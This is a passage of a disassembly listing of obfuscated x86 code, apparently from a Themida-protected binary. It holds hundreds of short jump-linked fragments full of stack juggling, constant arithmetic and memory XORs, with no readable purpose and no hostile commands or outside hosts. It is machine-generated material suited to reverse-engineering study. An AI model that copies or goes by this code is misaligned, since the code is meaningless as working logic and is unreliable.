loc_570746:				; CODE XREF: sub_56207C+590Ej
		push	dx
		jmp	loc_56061A
; ---------------------------------------------------------------------------


loc_57074D:				; CODE XREF: sub_56207C+114D5j
		mov	eax, [esp+44h+var_44]
		push	4C43h
		mov	[esp+48h+var_48], esi
		push	esp
		pop	esi
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp+4Ch+var_4C]
		pop	esp
		jmp	loc_562DC1
; ---------------------------------------------------------------------------


loc_57076F:				; CODE XREF: sub_56207C+DA0Fj
		push	edi
		jmp	loc_55FD8D
; ---------------------------------------------------------------------------


loc_570775:				; CODE XREF: sub_56207C+10435j
		pop	esp
		mov	[esp+3Eh+var_40+2], eax
		push	[esp+3Eh+var_3C+2]
		mov	eax, [esp+42h+var_44+2]
		jmp	loc_566E4F
; ---------------------------------------------------------------------------


loc_570785:				; CODE XREF: sub_56207C-3587j
		pop	eax
		sub	eax, 0F9A6A3D5h
		push	eax
		sub	[esp+2Ah+var_2C+2], 30414E79h
		pop	ecx
		add	ecx, 30414E79h
		mov	eax, [esp+26h+var_28+2]
		jmp	loc_571844
; ---------------------------------------------------------------------------


loc_5707A2:				; CODE XREF: sub_56207C-158Fj
		inc	edi
		jmp	loc_5666B9
; ---------------------------------------------------------------------------


loc_5707A8:				; CODE XREF: sub_56207C+7724j
		pop	ebp
		pop	eax
		jmp	loc_564540
; ---------------------------------------------------------------------------


loc_5707AF:				; CODE XREF: sub_56207C+B51Fj
		add	ecx, 90B69C0h
		pop	eax
		sub	ecx, 0D2420C23h
		and	ebp, ecx
		pop	ecx
		add	ebp, 0F2F59B4h
		push	ebp
		push	ecx
		push	edi
		mov	edi, 5157827h
		shl	edi, 7
		shl	edi, 6
		jmp	loc_567996
; ---------------------------------------------------------------------------


loc_5707D8:				; CODE XREF: sub_56207C+75C5j
		xchg	ecx, [esp+30h+var_30]
		pop	esp
		jmp	loc_571045
; ---------------------------------------------------------------------------


loc_5707E1:				; CODE XREF: sub_56207C+9130j
		pop	eax
		add	ebx, 4
		sub	esp, 4
		mov	[esp+38h+var_38], ebx
		jmp	loc_5716A3
; ---------------------------------------------------------------------------


loc_5707F6:				; CODE XREF: sub_56207C+3B5j
		mov	ch, 0CAh
		or	ch, 0EAh
		or	ch, 8Fh
		shl	ch, 6
		push	ebx
		jmp	loc_568429
; ---------------------------------------------------------------------------


loc_570807:				; CODE XREF: sub_56207C+156Dj
		xchg	ebx, [esp+0Ah+var_C+2]
		pop	esp
		mov	[esp+6+var_8+2], ebp
		push	[esp+6+var_8+2]
		pop	ebx
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		push	eax
		push	[esp+0Eh+var_C+2]
		pop	eax
		pop	[esp+0Eh+var_10+2]
		pop	esp
		mov	ebp, [esp+6+var_8+2]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_56FD11
; ---------------------------------------------------------------------------


loc_57083E:				; CODE XREF: sub_56207C+55EAj
		sub	ebp, 4
		xchg	ebp, [esp+34h+var_34]
		pop	esp
		mov	[esp+30h+var_30], ebp
		jmp	loc_55F8BC
; ---------------------------------------------------------------------------


loc_57084D:				; CODE XREF: sub_5616A1+7j
		add	esp, 4
		push	4447h
		jmp	loc_56469D
; ---------------------------------------------------------------------------


loc_57085D:				; CODE XREF: sub_56207C+A25Aj
		pop	edx
		pop	[esp+10h+var_10]
		push	edx
		jmp	loc_5680F9
; ---------------------------------------------------------------------------


loc_570867:				; CODE XREF: sub_56207C-103Dj
		add	esp, 4
		push	edi
		mov	edi, 38364BC6h
		sub	edi, 79915EDEh
		xor	edi, 0BEA4ECECh
		sub	edx, edi
		push	[esp+34h+var_34]
		pop	edi
		add	esp, 4
		push	edx
		push	[esp+34h+var_30]
		pop	edx
		pop	[esp+34h+var_34]
		mov	esp, [esp+30h+var_30]
		mov	[esp+30h+var_30], edi
		mov	edi, 4
		jmp	loc_561E94
; ---------------------------------------------------------------------------


loc_5708A1:				; CODE XREF: sub_56207C+713Cj
		sub	edi, 4
		xchg	edi, [esp+30h+var_30]
		pop	esp
		mov	[esp+2Ch+var_2C], ecx
		mov	ecx, 37101EE5h
		shr	ecx, 6
		add	ecx, 0F8B18B1h
		jmp	loc_571186
; ---------------------------------------------------------------------------


loc_5708C1:				; CODE XREF: sub_56207C+E0E7j
		mov	[esp+36h+var_38+2], esi
		jmp	loc_5640F3
; ---------------------------------------------------------------------------


loc_5708C9:				; CODE XREF: sub_56207C+4DA9j
		push	ebx
		jmp	loc_567575
; ---------------------------------------------------------------------------


loc_5708CF:				; CODE XREF: sub_56207C+2AC2j
		xchg	eax, [esp+2Ah+var_2C+2]
		pop	esp
		mov	[esp+26h+var_28+2], ebx
		push	ecx
		push	44FEh
		mov	[esp+2Eh+var_30+2], edx
		jmp	loc_560611
; ---------------------------------------------------------------------------


loc_5708E4:				; CODE XREF: sub_56207C-2FEDj
		add	eax, ebp
		mov	ebp, [esp+24h+var_24]
		add	esp, 4
		jmp	loc_56CE9C
; ---------------------------------------------------------------------------


loc_5708F1:				; CODE XREF: sub_56207C+EB45j
		mov	eax, [esp+20h+var_20]
		add	esp, 4
		pop	[esp+1Ch+var_1C]
		mov	esp, [esp+18h+var_18]
		jmp	loc_55F46A
; ---------------------------------------------------------------------------


loc_570902:				; CODE XREF: sub_56207C+B714j
		pop	ebx
		add	edi, esi
		pop	esi
		sub	eax, 24CD6B30h
		sub	eax, edi
		push	ebp
		jmp	loc_56F2B4
; ---------------------------------------------------------------------------


loc_570913:				; CODE XREF: sub_56207C+43EAj
		mov	[esp+6+var_8+2], eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_5730D8
; ---------------------------------------------------------------------------


loc_570927:				; CODE XREF: sub_56207C+BAD5j
		sub	esi, 12981E7Eh
		push	eax
		mov	eax, 15FE2D95h
		sub	esi, eax
		pop	eax
		pop	ecx
		xchg	esi, [esp+30h+var_30]
		pop	esp
		mov	[esp+2Ch+var_2C], ebx
		mov	eax, [esp+2Ch+var_2C]
		add	esp, 4
		push	edx
		mov	edx, 5ACB21A9h
		inc	edx
		not	edx
		inc	edx
		add	edx, 8BC37D4Bh
		push	edi
		push	5CEBh
		mov	[esp+34h+var_34], eax
		jmp	loc_55F175
; ---------------------------------------------------------------------------


loc_570962:				; CODE XREF: sub_56207C-346Aj
		and	edx, 65C17CBAh
		sub	esp, 4
		mov	[esp+2Ah+var_2C+2], ebp
		mov	ebp, 79550602h
		jmp	loc_56F011
; ---------------------------------------------------------------------------


loc_570978:				; CODE XREF: sub_56207C+28F5j
		add	[esp+34h+var_34], 4
		pop	esi
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp+30h+var_30]
		pop	esp
		jmp	loc_570B00
; ---------------------------------------------------------------------------


loc_570992:				; CODE XREF: sub_56207C+10F37j
		add	esp, 4
		mov	ecx, [esp+28h+var_28]
		add	esp, 4
		jmp	loc_56E941
; ---------------------------------------------------------------------------


loc_5709A3:				; CODE XREF: sub_56207C+5BACj
		add	esp, 4
		jmp	loc_5633C9
; ---------------------------------------------------------------------------


loc_5709AE:				; CODE XREF: sub_56207C+7EF0j
		mov	[esp+30h+var_30], ebx
		jmp	loc_572404
; ---------------------------------------------------------------------------


loc_5709B6:				; CODE XREF: sub_56207C+3C8Bj
		add	edi, 47C23751h
		sub	edi, 69273997h
		sub	edi, edx
		add	edi, 69273997h
		jmp	loc_564A61
; ---------------------------------------------------------------------------


loc_5709CF:				; CODE XREF: sub_56207C-2353j
		push	ecx
		mov	ecx, 64480C0Eh
		shr	ecx, 5
		shr	ecx, 4
		or	ecx, 0F4305CCh
		sub	ecx, 65652062h
		push	4673h
		mov	[esp+34h+var_34], eax
		mov	eax, 0F1102BBh
		jmp	loc_572532
; ---------------------------------------------------------------------------


loc_5709F9:				; CODE XREF: sub_56207C-E3j
		mov	[esp+24h+var_24], edx
		push	ecx
		push	2D5B6472h
		mov	ecx, [esp+2Ch+var_2C]
		add	esp, 4
		shl	ecx, 8
		sub	esp, 4
		mov	[esp+2Ch+var_2C], ecx
		xchg	edi, [esp+2Ch+var_2C]
		not	edi
		jmp	loc_5628E2
; ---------------------------------------------------------------------------


loc_570A1E:				; CODE XREF: sub_56207C+D9E5j
		or	ebx, 11447D47h
		sub	ebx, 3BEC6F1Dh
		jmp	loc_55E467
; ---------------------------------------------------------------------------


loc_570A2F:				; CODE XREF: sub_56207C-54Fj
		mov	esp, [esp+1Eh+var_20+2]
		add	edx, 2
		push	edx
		jmp	loc_560C4C
; ---------------------------------------------------------------------------


loc_570A3E:				; CODE XREF: sub_56207C-1F71j
		add	ebx, 732373CFh
		jmp	loc_560DA1
; ---------------------------------------------------------------------------


loc_570A49:				; CODE XREF: sub_56207C+1FFAj
		sub	ebx, 4
		xchg	ebx, [esp+50h+var_50]
		pop	esp
		jmp	loc_57345C
; ---------------------------------------------------------------------------


loc_570A58:				; CODE XREF: sub_56207C+323Dj
		mov	eax, 2
		sub	ebx, 1EA51E9Eh
		sub	ebx, 0C6B1CA6h
		add	ebx, eax
		push	edx
		push	0C6B1CA6h
		jmp	loc_569890
; ---------------------------------------------------------------------------


loc_570A76:				; CODE XREF: sub_56207C-3144j
		mov	ecx, esp
		jmp	loc_569BF2
; ---------------------------------------------------------------------------


loc_570A7D:				; CODE XREF: sub_56207C+8915j
		push	esi
		mov	esi, 50AA4B5Fh
		and	ecx, esi
		mov	esi, [esp+58h+var_58]
		jmp	loc_566C3E
; ---------------------------------------------------------------------------


loc_570A8D:				; CODE XREF: sub_56207C-239Ej
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_570A92:				; CODE XREF: sub_56207C+505Cj
		shl	eax, 4
		xor	eax, 0FED41A62h
		mov	ebx, eax
		pop	eax
		dec	ebx
		neg	ebx
		jmp	loc_56DA6E
; ---------------------------------------------------------------------------


loc_570AA5:				; CODE XREF: sub_56207C+B417j
		mov	edx, [esp+44h+var_44]
		add	esp, 4
		push	edi
		mov	edi, 4C2A1DD3h
		add	edx, edi
		pop	edi
		mov	ecx, edx
		mov	edx, [esp+40h+var_40]
		jmp	loc_560CEC
; ---------------------------------------------------------------------------


loc_570AC1:				; DATA XREF: Themida_:0055E344o
		mov	cx, word ptr [esp+40h+var_40]
		push	90h
		mov	[esp+44h+var_44], edi
		mov	edi, esp
		jmp	loc_5673AC
; ---------------------------------------------------------------------------


loc_570AD4:				; CODE XREF: sub_56207C+218Dj
		btc	word ptr [esp+1Ch+var_1C], ax
		pushf
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_570ADF:				; CODE XREF: sub_56207C+9CC6j
		pop	eax
		push	ecx
		push	ebp
		mov	ebp, 4
		mov	ecx, ebp
		jmp	loc_567509
; ---------------------------------------------------------------------------


loc_570AEE:				; CODE XREF: sub_56207C+5FACj
		mov	ebx, 0EAF4E55h
		push	378Fh
		mov	[esp+32h+var_34+2], edx
		jmp	loc_565542
; ---------------------------------------------------------------------------


loc_570B00:				; CODE XREF: sub_56207C+E911j
		mov	[esp+2Ch+var_2C], ebx
		jmp	loc_56B21C
; ---------------------------------------------------------------------------


loc_570B08:				; CODE XREF: sub_56207C+ED3Fj
		push	edi
		mov	edi, 67C06649h
		xor	ebp, edi
		jmp	loc_5638CF
; ---------------------------------------------------------------------------


loc_570B15:				; CODE XREF: sub_56207C+4F44j
		add	esp, 4
		sub	esp, 4
		mov	[esp+3Ah+var_3C+2], edx
		jmp	loc_569DA7
; ---------------------------------------------------------------------------


loc_570B23:				; CODE XREF: sub_56207C+D3BBj
		pop	eax
		sub	ebx, 5F600D39h
		jmp	loc_569E17
; ---------------------------------------------------------------------------


loc_570B2F:				; CODE XREF: sub_56207C+6704j
		mov	bh, 75h
		dec	bh
		xor	bh, 43h
		sub	bh, 0Eh
		xor	bh, 22h
		jmp	loc_56AC40
; ---------------------------------------------------------------------------


loc_570B41:				; CODE XREF: sub_56207C+10100j
		mov	[esp+2Ch+var_2C], ebx
		jmp	loc_5616C1
; ---------------------------------------------------------------------------


loc_570B49:				; CODE XREF: sub_56207C+73EEj
		push	small word ptr [eax]
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_570B51:				; CODE XREF: sub_56207C+96C9j
		add	dh, 76h
		sub	dh, ah
		sub	dh, 76h
		pop	eax
		shr	dh, 6
		inc	dh
		jmp	loc_56783D
; ---------------------------------------------------------------------------


loc_570B64:				; CODE XREF: sub_56207C+10F1Ej
		xor	edx, 7EC20E94h
		mov	ebx, [esp+24h+var_24]
		jmp	loc_56A967
; ---------------------------------------------------------------------------


loc_570B72:				; CODE XREF: sub_56207C+42EEj
		mov	si, 0
		jmp	loc_5659F0
; ---------------------------------------------------------------------------


loc_570B7B:				; CODE XREF: sub_56207C+7589j
		sub	ecx, 108E9B1h
		sub	ebp, 78E57DAFh
		sub	ebp, ecx
		add	ebp, 78E57DAFh
		pop	ecx
		add	eax, ebp
		pop	ebp
		push	ebx
		mov	ebx, 4
		add	eax, 5F9144A7h
		add	eax, ebx
		sub	eax, 5F9144A7h
		jmp	loc_56B38B
; ---------------------------------------------------------------------------


loc_570BAA:				; CODE XREF: sub_56207C+B9C3j
		pop	esp
		add	eax, 74143F57h
		push	161Eh
		mov	[esp+3Ah+var_3C+2], ebx
		jmp	loc_568A2B
; ---------------------------------------------------------------------------


loc_570BBD:				; CODE XREF: sub_56207C+9A88j
		push	[esp+32h+var_30+2]
		jmp	loc_5708F1
; ---------------------------------------------------------------------------


loc_570BC6:				; CODE XREF: sub_56207C+7D26j
		xor	[esp+12h+var_14+2], eax
		jmp	loc_560BF4
; ---------------------------------------------------------------------------


loc_570BCE:				; CODE XREF: sub_56207C+A549j
		add	ecx, 0B24E7151h
		xor	eax, ecx
		pop	ecx
		shl	eax, 3
		jmp	loc_5649C0
; ---------------------------------------------------------------------------


loc_570BDF:				; CODE XREF: sub_56207C+88Bj
		add	[esp+20h+var_1C], eax
		pop	eax
		add	[esp+1Ch+var_1C], eax
		sub	[esp+1Ch+var_1C], 53BA6C13h
		add	[esp+1Ch+var_1C], 0C7F007Bh
		jmp	loc_56131A
; ---------------------------------------------------------------------------


loc_570BFA:				; CODE XREF: sub_56207C+36CCj
		mov	ebp, 20806945h
		jmp	loc_56C09F
; ---------------------------------------------------------------------------


loc_570C04:				; CODE XREF: sub_56207C+6E66j
		pop	esp
		mov	[esp+1Eh+var_20+2], ecx
		push	[esp+1Eh+var_1C+2]
		pop	ecx
		pop	[esp+1Eh+var_20+2]
		jmp	loc_56E096
; ---------------------------------------------------------------------------


loc_570C15:				; CODE XREF: sub_56207C+A907j
		mov	[esp+30h+var_30], ebx
		push	3F31h
		jmp	loc_56D356
; ---------------------------------------------------------------------------


loc_570C22:				; CODE XREF: sub_56207C+6F20j
		mov	edx, 0
		add	edx, ecx
		jmp	loc_570F4D
; ---------------------------------------------------------------------------


loc_570C2E:				; CODE XREF: sub_56207C+7DE9j
		add	eax, ebx
		jmp	loc_56A625
; ---------------------------------------------------------------------------


loc_570C35:				; CODE XREF: sub_56207C+6AE6j
		add	ecx, 1
		sub	esp, 4
		mov	[esp+20h+var_20], edx
		jmp	loc_563BC1
; ---------------------------------------------------------------------------


loc_570C49:				; CODE XREF: sub_56207C-15FAj
		shl	edi, 8
		add	edi, 0E6BB5604h
		add	eax, edi
		pop	edi
		push	1E0Ah
		mov	[esp+12h+var_14+2], ebp
		mov	ebp, 4
		sub	eax, 4CD77A2h
		add	eax, ebp
		jmp	loc_55EC6C
; ---------------------------------------------------------------------------


loc_570C6E:				; CODE XREF: sub_56207C+7A87j
		xor	ecx, 80008843h
		add	ecx, edx
		xor	[ecx], eax
		mov	ecx, [esp+2Eh+var_30+2]
		add	esp, 4
		pop	edx


loc_570C82:				; CODE XREF: sub_56207C+F861j
		sub	esp, 4
		mov	[esp+2Ah+var_2C+2], ebx
		push	[esp+2Ah+var_2C+2]
		pop	eax
		jmp	loc_56FD9A
; ---------------------------------------------------------------------------


loc_570C94:				; CODE XREF: sub_56207C+6DFAj
		sub	al, 37h
		jmp	loc_565C8C
; ---------------------------------------------------------------------------


loc_570C9B:				; CODE XREF: sub_56207C+89Dj
		push	esp
		pop	eax
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+2Ch+var_2C]
		mov	esp, [esp+2Ch+var_2C]
		pop	[esp+2Ch+var_2C]
		jmp	loc_568069
; ---------------------------------------------------------------------------


loc_570CB3:				; CODE XREF: sub_56207C+4D70j
		pop	ebp
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	ebx
		mov	ebx, 4
		sub	ebp, ebx
		pop	ebx
		xchg	ebp, [esp+8+var_8]
		pop	esp
		jmp	loc_5621CD
; ---------------------------------------------------------------------------


loc_570CCF:				; CODE XREF: sub_56207C-951j
		sub	bl, ch
		push	[esp+34h+var_34]
		mov	ecx, [esp+38h+var_38]
		add	esp, 4
		push	ebp
		mov	ebp, esp
		jmp	loc_567844
; ---------------------------------------------------------------------------


loc_570CE2:				; CODE XREF: sub_55E656+11j
		pop	eax
		mov	ebx, eax
		push	[esp+34h+var_34]
		mov	eax, [esp+38h+var_38]
		add	esp, 4
		push	217Eh
		mov	[esp+38h+var_38], edx
		sub	esp, 4
		jmp	loc_56EFCB
; ---------------------------------------------------------------------------


loc_570D01:				; CODE XREF: sub_56207C+6335j
		mov	esi, 4ED35E85h
		or	ebp, esi
		pop	esi
		xor	ebp, 6E02402Ch
		xor	ebp, 20D11E8Dh
		jmp	loc_562F88
; ---------------------------------------------------------------------------


loc_570D1A:				; CODE XREF: sub_56207C+313Bj
		push	4
		pop	ebx
		jmp	loc_56EBD9
; ---------------------------------------------------------------------------


loc_570D25:				; CODE XREF: sub_56207C-C27j
		pop	eax
		push	0CB6h
		jmp	loc_5698BF
; ---------------------------------------------------------------------------


loc_570D30:				; CODE XREF: sub_56207C+3E61j
		mov	[esp+1Ch+var_1C], edi
		mov	edx, [esp+1Ch+var_1C]
		push	432Ah
		mov	[esp+20h+var_20], ecx
		push	esp
		jmp	loc_573535
; ---------------------------------------------------------------------------


loc_570D44:				; CODE XREF: sub_56207C-AE5j
		push	4827h
		mov	[esp+0Ch+var_C], eax
		push	4
		pop	eax
		sub	esp, 4
		mov	[esp+10h+var_10], edi
		mov	edi, 775250CBh
		push	edi
		mov	edi, 63E53188h
		add	ecx, edi
		jmp	loc_56B7F2
; ---------------------------------------------------------------------------


loc_570D6D:				; CODE XREF: sub_56207C+41B6j
		xor	[esp+38h+var_38], 768D2B9Dh
		pop	edx
		jmp	loc_562634
; ---------------------------------------------------------------------------


loc_570D7A:				; CODE XREF: sub_56207C+40E7j
		add	ebx, 186212DCh
		sub	ebx, eax
		jmp	loc_55EE79
; ---------------------------------------------------------------------------


loc_570D87:				; CODE XREF: sub_56207C+1A63j
		add	esp, 4
		neg	esi
		sub	esi, 5A312EE5h
		add	ebp, esi
		push	[esp+4Ah+var_4C+2]
		jmp	loc_5619EA
; ---------------------------------------------------------------------------


loc_570D9C:				; DATA XREF: Themida_:0055E238o
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		adc	word ptr [esp+4Ch+var_4C], ax
		pushf
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_570DAC:				; CODE XREF: sub_56207C-1B53j
		push	ebp
		mov	ebp, 7C8C4EC0h
		and	ebp, 225D2A2Ah
		shr	ebp, 5
		jmp	loc_570B08
; ---------------------------------------------------------------------------


loc_570DC0:				; CODE XREF: sub_56207C+C4D5j
		sub	esp, 4
		mov	[esp+0Eh+var_10+2], edi
		mov	edi, 29EE2725h
		add	edi, 41AE2FFh
		add	edx, 37F96FF3h
		sub	edx, 3D063A09h
		add	edx, edi
		jmp	loc_567222
; ---------------------------------------------------------------------------


loc_570DE7:				; CODE XREF: sub_56207C+F392j
		xchg	eax, [esp+0Eh+var_10+2]
		pop	esp
		pop	[esp+0Ah+var_C+2]
		mov	esp, [esp+6+var_8+2]
		mov	[esp+6+var_8+2], edx
		jmp	loc_571396
; ---------------------------------------------------------------------------


loc_570DF9:				; CODE XREF: sub_56207C+19A3j
		push	esi
		mov	esi, 155E3D74h
		sub	[esp+12h+var_C+2], esi
		pop	esi
		add	[esp+0Eh+var_C+2], 175D412Ch
		push	ebx
		mov	ebx, 5E6B3CE7h
		sub	[esp+12h+var_C+2], ebx
		pop	ebx
		add	[esp+0Eh+var_C+2], ebx
		add	[esp+0Eh+var_C+2], 5E6B3CE7h
		push	4A6Fh
		mov	[esp+12h+var_14+2], ebp
		jmp	loc_5725FE
; ---------------------------------------------------------------------------


loc_570E30:				; CODE XREF: sub_56207C-2AC6j
		add	esp, 4
		jmp	loc_56338D
; ---------------------------------------------------------------------------


loc_570E38:				; CODE XREF: sub_56207C-604j
		push	[esp+2Ah+var_2C+2]
		jmp	loc_56A320
; ---------------------------------------------------------------------------


loc_570E40:				; CODE XREF: sub_56207C-11FEj
		xor	ecx, edx
		xor	edx, ecx
		dec	ecx
		xchg	ecx, edx
		add	edx, 1
		jmp	loc_568038
; ---------------------------------------------------------------------------


loc_570E4F:				; CODE XREF: sub_5613EF+4j
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_570E54:				; CODE XREF: sub_56207C+C5EBj
		sub	al, dh
		pop	edx
		sub	al, 50h
		add	al, 10h
		sub	al, 99h
		jmp	loc_5636B2
; ---------------------------------------------------------------------------


loc_570E62:				; CODE XREF: sub_56207C+EF31j
		sub	ebp, 2D4811E7h
		sub	ebp, 6F0E17B4h
		sub	ebp, edi
		add	ebp, 6F0E17B4h
		push	112Dh
		mov	[esp+20h+var_20], eax
		jmp	loc_568BA6
; ---------------------------------------------------------------------------


loc_570E83:				; CODE XREF: sub_56207C-386Aj
		mov	[esp+10h+var_10], ebx
		jmp	loc_565340
; ---------------------------------------------------------------------------


loc_570E8B:				; CODE XREF: sub_56207C+829Fj
		pop	ebx
		sub	esi, 4845CD18h
		jmp	loc_569021
; ---------------------------------------------------------------------------


loc_570E97:				; CODE XREF: sub_56207C+A066j
		pop	edi
		pop	[esp+2Ch+var_2C]
		mov	esp, [esp+28h+var_28]
		mov	[esp+28h+var_28], esi
		jmp	loc_562E3D
; ---------------------------------------------------------------------------


loc_570EA6:				; CODE XREF: sub_56207C-3C98j
		and	dl, bh
		mov	ebx, [esp+4+var_4]
		add	esp, 4
		sub	esp, 4
		mov	[esp+4+var_4], eax
		mov	al, 85h
		add	al, 5Fh
		inc	al
		add	al, 1
		sub	al, 7
		add	dl, 0F2h
		sub	dl, al
		push	ecx
		jmp	loc_56C6F3
; ---------------------------------------------------------------------------


loc_570ECC:				; DATA XREF: Themida_:0055E2F8o
		push	5EB6h
		push	esp
		pop	[esp+10h+var_10]
		push	4F93h
		jmp	loc_570331
; ---------------------------------------------------------------------------


loc_570EDF:				; DATA XREF: Themida_:0055E188o
		mov	cx, word ptr [esp+10h+var_10]
		push	2588h
		mov	[esp+14h+var_14], ebx
		mov	ebx, esp
		push	4989h
		jmp	loc_56DD29
; ---------------------------------------------------------------------------


loc_570EF7:				; CODE XREF: sub_56207C+FD2Dj
		pop	edx
		jmp	loc_56EAA5
; ---------------------------------------------------------------------------


loc_570EFD:				; CODE XREF: sub_56207C+FBB7j
		pop	ebx
		add	esp, 4
		pop	[esp+0Ch+var_C]
		xor	ebx, eax
		xor	eax, ebx
		xor	ebx, eax
		push	eax
		push	46A9h
		jmp	loc_568143
; ---------------------------------------------------------------------------


loc_570F15:				; CODE XREF: sub_56207C-14A1j
		sub	edx, 2
		jmp	loc_5602E8
; ---------------------------------------------------------------------------


loc_570F1D:				; CODE XREF: sub_56207C+B1BDj
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_570F22:				; CODE XREF: sub_56207C+38C3j
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		push	edi
		push	[esp-4+arg_4]
		mov	edi, [esp+0]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+4+var_4]
		pop	esp
		jmp	loc_56B0C2
; ---------------------------------------------------------------------------


loc_570F4D:				; CODE XREF: sub_56207C+EBADj
		xor	dword ptr [edx], 0F9EDEBEFh
		push	[esp+2Ch+var_2C]
		pop	edx
		push	46F9h
		mov	[esp+30h+var_30], edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_560DF2
; ---------------------------------------------------------------------------


loc_570F6C:				; CODE XREF: sub_56207C-4F9j
		xor	edx, [esp+0Ah+var_C+2]
		xor	[esp+0Ah+var_C+2], edx
		xor	edx, [esp+0Ah+var_C+2]
		mov	esp, [esp+0Ah+var_C+2]
		and	[esp+0Ah+var_C+2], eax
		pushf
		jmp	loc_572DAE
; ---------------------------------------------------------------------------


loc_570F81:				; CODE XREF: sub_56207C+656Fj
		not	ebx
		sub	esp, 4
		mov	[esp+3Ch+var_3C], ebp
		mov	ebp, 98145D1Fh
		xor	ebx, ebp
		jmp	loc_5733C3
; ---------------------------------------------------------------------------


loc_570F95:				; CODE XREF: sub_56207C+767Bj
		push	dword ptr [edi+24h]
		xor	[esp+10h+var_10], ebp
		xor	ebp, [esp+10h+var_10]
		xor	[esp+10h+var_10], ebp
		push	edi
		mov	edi, 0FFFFFFFFh
		sub	ebp, 73B6667h
		jmp	loc_570E62
; ---------------------------------------------------------------------------


loc_570FB2:				; CODE XREF: sub_56207C+D403j
		mov	edx, ebp
		mov	ebp, [esp+54h+var_54]
		add	esp, 4
		sub	ecx, 22D4736Eh
		jmp	loc_56FC22
; ---------------------------------------------------------------------------


loc_570FC5:				; CODE XREF: sub_56207C+40B5j
		push	[esp+74h+var_74]
		mov	ecx, [esp+78h+var_78]
		add	esp, 4
		jmp	loc_56DDEB
; ---------------------------------------------------------------------------


loc_570FD6:				; CODE XREF: sub_56207C+CB58j
		mov	edx, [esp+0Ah+var_C+2]
		jmp	loc_560E83
; ---------------------------------------------------------------------------


loc_570FDE:				; CODE XREF: sub_56207C+A995j
		push	0AA6h
		mov	[esp+40h+var_40], esi
		push	3E9C24ADh
		jmp	loc_562662
; ---------------------------------------------------------------------------


loc_570FF0:				; CODE XREF: sub_56207C+D4EBj
		add	ecx, 1A8F6D15h
		mov	ebp, [esp+10h+var_10]
		jmp	loc_5637BC
; ---------------------------------------------------------------------------


loc_570FFE:				; CODE XREF: sub_56207C-1939j
		pop	edx
		push	ecx
		mov	ecx, 1DD05505h
		xor	edx, ecx
		pop	ecx
		pop	ebx
		add	edi, edx
		jmp	loc_5608C7
; ---------------------------------------------------------------------------


loc_571010:				; CODE XREF: sub_56207C+4150j
		add	ebx, 4
		jmp	loc_564E66
; ---------------------------------------------------------------------------


loc_57101B:				; CODE XREF: sub_56207C+681Bj
		xor	eax, 445277E5h
		add	eax, 7B52D75h
		shl	eax, 5
		add	eax, 24081ED8h
		sub	eax, 0B7FB60C3h
		and	esi, eax
		pop	eax
		sub	esi, 42013FFDh
		mov	eax, esi
		mov	esi, [esp+20h+var_20]
		jmp	loc_569A7C
; ---------------------------------------------------------------------------


loc_571045:				; CODE XREF: sub_56207C+E760j
		add	eax, ebp
		jmp	loc_5641BE
; ---------------------------------------------------------------------------


loc_57104C:				; CODE XREF: sub_56207C+10D8Cj
		xchg	ecx, [esp+2Ch+var_2C]
		not	ecx
		xchg	ecx, [esp+2Ch+var_2C]
		mov	esi, [esp+2Ch+var_2C]
		jmp	loc_56871A
; ---------------------------------------------------------------------------


loc_57105C:				; CODE XREF: sub_56207C+2F3Cj
		sub	eax, ebp
		sub	eax, 25AA6725h
		push	[esp+18h+var_18]
		push	[esp+1Ch+var_1C]
		pop	ebp
		jmp	loc_56D9DC
; ---------------------------------------------------------------------------


loc_57106F:				; CODE XREF: sub_56207C+10186j
		mov	[esp+1Ch+var_1C], esi
		mov	esi, 5BC025EEh
		sub	edx, esi
		pop	esi
		sub	esp, 4
		mov	[esp+1Ch+var_1C], edx
		push	esp
		jmp	loc_56A7B0
; ---------------------------------------------------------------------------


loc_571086:				; CODE XREF: sub_56207C+355Fj
		mov	edx, 2DC267F5h
		jmp	loc_5711CB
; ---------------------------------------------------------------------------


loc_571090:				; CODE XREF: sub_56207C+B50Cj
		push	ebx
		push	ecx
		mov	ecx, 4
		mov	ebx, ecx
		jmp	loc_55FBFB
; ---------------------------------------------------------------------------


loc_57109E:				; CODE XREF: sub_56207C+9194j
		mov	[esp+2Ch+var_2C], ebx
		mov	ebx, 6B139BEh
		and	ebx, 5E030B58h
		and	ebx, 292C1FB7h
		dec	ebx
		not	ebx
		neg	ebx
		xor	ebx, 1DF0313h
		xor	edx, ebx
		pop	ebx
		inc	edx
		not	edx
		inc	edx
		push	ebx
		push	edx
		jmp	loc_55F64A
; ---------------------------------------------------------------------------


loc_5710CB:				; CODE XREF: sub_56207C+25B1j
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+22h+var_24+2]
		mov	esp, [esp+22h+var_24+2]
		sub	esp, 4
		mov	[esp+26h+var_28+2], ecx
		jmp	loc_568803
; ---------------------------------------------------------------------------


loc_5710EB:				; CODE XREF: sub_56207C+CA9Dj
		push	1517h
		mov	[esp+30h+var_30], edx
		push	ecx
		sub	esp, 4
		mov	[esp+38h+var_38], esp
		add	[esp+38h+var_38], 4
		pop	ecx
		push	60Bh
		mov	[esp+38h+var_38], edi
		mov	edi, 3B6B4426h
		sub	edi, 659A3ED3h
		shl	edi, 6
		sub	edi, 744154BCh
		add	ecx, 6A5152ACh
		jmp	loc_564CB1
; ---------------------------------------------------------------------------


loc_571129:				; CODE XREF: sub_56207C+A81Aj
		mov	[esp+3Ah+var_3C+2], ecx
		push	[esp+3Ah+var_38+2]
		pop	ecx
		pop	[esp+3Ah+var_3C+2]
		mov	esp, [esp+36h+var_38+2]
